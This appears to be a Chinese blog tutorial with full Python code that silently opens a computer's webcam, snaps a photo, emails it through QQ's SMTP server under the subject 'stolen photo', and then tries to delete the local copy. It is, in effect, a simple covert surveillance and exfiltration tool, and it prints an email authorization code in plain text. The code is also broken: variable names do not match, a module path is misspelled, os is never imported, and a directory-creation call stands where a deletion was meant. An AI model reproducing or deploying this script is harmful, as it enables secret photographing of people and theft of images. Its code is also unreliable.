Python之实现自动开启摄像头拍照,后面发送邮寄给个人

Python之实现自动开启摄像头拍照,后面发送邮寄给个人

文章目录

        • Python之实现自动开启摄像头拍照,后面发送邮寄给个人
          • 第一步,我们要开启电脑的摄像头实现拍照:
          • 第二步,我们要发送邮件,就必须创建邮件:
          • 第三步,创建邮件的格式,发送电脑开启摄像头拍的照片
          • 最后一步:删除照片

先导入需要的库文件:

import cv2  #第三方库 opencv-python  需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL  #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式

如歌没有安装,通过pip命令安装:

pip install opencv-python
pip install smtplib
第一步,我们要开启电脑的摄像头实现拍照:
#打开摄像头拍照
cap=cv2.VideoCapture(0)  #开启摄像头拍照
_,fram=cap.read()      #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame)  #把读取到图片数据保存到我的电脑
cap.release()  #关闭摄像头
第二步,我们要发送邮件,就必须创建邮件:
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='自己的邮箱号' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码

运行后,会在邮箱里面收到授权码

qq_email_password='gtyqshiptqaibghf' #授权码->密码
第三步,创建邮件的格式,发送电脑开启摄像头拍的照片
#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user  #设置接收者的邮箱

把照片以附件的形式添加到邮件

#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image)  #将转化的数据添加为附件

发送邮件

#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()

最后一步:删除照片
#记得删除照片
os.mkdir('image.jpg')

下面是完整代码:

import cv2  #第三方库 opencv-python  需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL  #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式
#打开摄像头拍照
cap=cv2.VideoCapture(0)  #开启摄像头拍照
_,fram=cap.read()      #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame)  #把读取到图片数据保存到我的电脑
cap.release()  #关闭摄像头
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='[email protected]' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码

#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user  #设置接收者的邮箱

#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image)  #将转化的数据添加为附件

#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()

#记得删除照片
os.mkdir('image.jpg')

你可能感兴趣的:(python爬虫与基础,数据分析。,python,opencv)